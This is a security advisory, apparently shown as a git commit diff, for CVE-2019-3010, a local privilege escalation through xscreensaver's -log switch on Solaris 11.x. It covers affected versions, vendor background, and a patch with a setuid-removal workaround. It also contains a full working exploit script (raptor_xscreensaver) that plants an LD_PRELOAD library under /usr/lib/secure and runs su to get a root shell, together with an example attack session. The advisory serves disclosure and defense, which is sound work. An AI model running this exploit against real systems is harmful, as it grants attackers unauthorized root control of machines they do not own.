|
| 1 | +@Mediaservice.net Security Advisory #2019-02 (last updated on 2019-10-16) |
| 2 | + |
| 3 | + Title: Local privilege escalation on Solaris 11.x via xscreensaver |
| 4 | + Application: Jamie Zawinski's xscreensaver 5.39 distributed with Solaris 11.4 |
| 5 | + Jamie Zawinski's xscreensaver 5.15 distributed with Solaris 11.3 |
| 6 | + Other versions starting from 5.06 are potentially affected |
| 7 | + Platforms: Oracle Solaris 11.x (tested on 11.4 and 11.3) |
| 8 | + Other platforms are potentially affected (see below) |
| 9 | + Description: A local attacker can gain root privileges by exploiting a |
| 10 | + design error vulnerability in the xscreensaver distributed with |
| 11 | + Solaris |
| 12 | + Author: Marco Ivaldi < [email protected]> |
| 13 | + Vendor Status: < [email protected]> notified on 2019-07-09 |
| 14 | + CVE Name: CVE-2019-3010 |
| 15 | + CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8) |
| 16 | + References: https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt |
| 17 | + https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html |
| 18 | + https://www.jwz.org/xscreensaver/ |
| 19 | + https://www.oracle.com/technetwork/server-storage/solaris11/ |
| 20 | + https://www.mediaservice.net/ |
| 21 | + https://0xdeadbeef.info/ |
| 22 | + |
| 23 | +1. Abstract. |
| 24 | + |
| 25 | +Exploitation of a design error vulnerability in xscreensaver, as distributed |
| 26 | +with Solaris 11.x, allows local attackers to create (or append to) arbitrary |
| 27 | +files on the system, by abusing the -log command line switch introduced in |
| 28 | +version 5.06. This flaw can be leveraged to cause a denial of service condition |
| 29 | +or to escalate privileges to root. |
| 30 | + |
| 31 | +2. Example Attack Session. |
| 32 | + |
| 33 | +raptor@stalker:~$ cat /etc/release |
| 34 | + Oracle Solaris 11.4 X86 |
| 35 | + Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved. |
| 36 | + Assembled 16 August 2018 |
| 37 | +raptor@stalker:~$ uname -a |
| 38 | +SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc |
| 39 | +raptor@stalker:~$ id |
| 40 | +uid=100(raptor) gid=10(staff) |
| 41 | +raptor@stalker:~$ chmod +x raptor_xscreensaver |
| 42 | +raptor@stalker:~$ ./raptor_xscreensaver |
| 43 | +raptor_xscreensaver - Solaris 11.x LPE via xscreensaver |
| 44 | +Copyright (c) 2019 Marco Ivaldi < [email protected]> |
| 45 | +[...] |
| 46 | +Oracle Corporation SunOS 5.11 11.4 Aug 2018 |
| 47 | +root@stalker:~# id |
| 48 | +uid=0(root) gid=0(root) |
| 49 | + |
| 50 | +3. Affected Platforms. |
| 51 | + |
| 52 | +This vulnerability was confirmed on the following platforms: |
| 53 | + |
| 54 | +* Oracle Solaris 11.x X86 [tested on 11.4 and 11.3, default installation] |
| 55 | +* Oracle Solaris 11.x SPARC [untested] |
| 56 | + |
| 57 | +Previous Oracle Solaris 11 versions might also be vulnerable. |
| 58 | + |
| 59 | +Based on our analysis and on feedback kindly provided by Alan Coopersmith of |
| 60 | +Oracle, we concluded that this is a Solaris-specific vulnerability, caused by |
| 61 | +the fact that Oracle maintains a slightly different codebase from the upstream |
| 62 | +one. Alan explained this as follows: |
| 63 | + |
| 64 | +"The problem in question here appears to be inherited from the long-ago fork |
| 65 | +[originally based on xscreensaver 4.05] Sun & Ximian did to add a gtk-based |
| 66 | +unlock dialog with accessibility support to replace the non-accessible Xlib |
| 67 | +unlock dialog that upstream provides, which moves the uid reset to after where |
| 68 | +the log file opening was later added." |
| 69 | + |
| 70 | +Specifically, the problem arises because of this bit of Solaris patches: |
| 71 | +https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770 |
| 72 | + |
| 73 | +As an interesting side note, it appears Red Hat dropped this code back in 2002 |
| 74 | +with version 4.05-5: |
| 75 | +https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179 |
| 76 | + |
| 77 | +4. Fix. |
| 78 | + |
| 79 | +Oracle has assigned the tracking# S1182608 and has released a fix for all |
| 80 | +affected and supported versions of Solaris in their Critical Patch Update (CPU) |
| 81 | +of October 2019. |
| 82 | + |
| 83 | +As a temporary workaround, it is also possible to remove the setuid bit from |
| 84 | +the xscreensaver executable as follows (note that this might prevent it from |
| 85 | +working properly): |
| 86 | + |
| 87 | +bash-3.2# chmod -s /usr/bin/xscreensaver |
| 88 | + |
| 89 | +5. Proof of Concept. |
| 90 | + |
| 91 | +An exploit for Oracle Solaris 11.x has been developed as a proof of concept. It |
| 92 | +can be downloaded from: |
| 93 | + |
| 94 | +https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver |
| 95 | + |
| 96 | +#!/bin/sh |
| 97 | + |
| 98 | +# |
| 99 | +# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver |
| 100 | +# Copyright (c) 2019 Marco Ivaldi < [email protected]> |
| 101 | +# |
| 102 | +# Exploitation of a design error vulnerability in xscreensaver, as |
| 103 | +# distributed with Solaris 11.x, allows local attackers to create |
| 104 | +# (or append to) arbitrary files on the system, by abusing the -log |
| 105 | +# command line switch introduced in version 5.06. This flaw can be |
| 106 | +# leveraged to cause a denial of service condition or to escalate |
| 107 | +# privileges to root. This is a Solaris-specific vulnerability, |
| 108 | +# caused by the fact that Oracle maintains a slightly different |
| 109 | +# codebase from the upstream one (CVE-2019-3010). |
| 110 | +# |
| 111 | +# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs |
| 112 | +# "Good hackers force luck." -- ~A. |
| 113 | +# |
| 114 | +# This exploit targets the /usr/lib/secure/ directory in order |
| 115 | +# to escalate privileges with the LD_PRELOAD technique. The |
| 116 | +# implementation of other exploitation vectors, including those |
| 117 | +# that do not require gcc to be present on the target system, is |
| 118 | +# left as an exercise to fellow UNIX hackers;) |
| 119 | +# |
| 120 | +# Usage: |
| 121 | +# raptor@stalker:~$ chmod +x raptor_xscreensaver |
| 122 | +# raptor@stalker:~$ ./raptor_xscreensaver |
| 123 | +# [...] |
| 124 | +# Oracle Corporation SunOS 5.11 11.4 Aug 2018 |
| 125 | +# root@stalker:~# id |
| 126 | +# uid=0(root) gid=0(root) |
| 127 | +# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.* |
| 128 | +# |
| 129 | +# Vulnerable platforms: |
| 130 | +# Oracle Solaris 11 X86 [tested on 11.4 and 11.3] |
| 131 | +# Oracle Solaris 11 SPARC [untested] |
| 132 | +# |
| 133 | + |
| 134 | +echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver" |
| 135 | +echo "Copyright (c) 2019 Marco Ivaldi < [email protected]>" |
| 136 | +echo |
| 137 | + |
| 138 | +# prepare the payload |
| 139 | +echo "int getuid(){return 0;}" > /tmp/getuid.c |
| 140 | +gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc |
| 141 | +if [ $? -ne 0 ]; then |
| 142 | +echo "error: problem compiling the shared library, check your gcc" |
| 143 | +exit 1 |
| 144 | +fi |
| 145 | + |
| 146 | +# check the architecture |
| 147 | +LOG=/usr/lib/secure/getuid.so |
| 148 | +file /bin/su | grep 64-bit >/dev/null 2>&1 |
| 149 | +if [ $? -eq 0 ]; then |
| 150 | +LOG=/usr/lib/secure/64/getuid.so |
| 151 | +fi |
| 152 | + |
| 153 | +# start our own xserver |
| 154 | +# alternatively we can connect back to a valid xserver (e.g. xquartz) |
| 155 | +/usr/bin/Xorg :1 & |
| 156 | + |
| 157 | +# trigger the bug |
| 158 | +umask 0 |
| 159 | +/usr/bin/xscreensaver -display :1 -log $LOG & |
| 160 | +sleep 5 |
| 161 | + |
| 162 | +# clean up |
| 163 | +pkill -n xscreensaver |
| 164 | +pkill -n Xorg |
| 165 | + |
| 166 | +# LD_PRELOAD-fu |
| 167 | +cp /tmp/getuid.so $LOG |
| 168 | +LD_PRELOAD=$LOG su - |
0 commit comments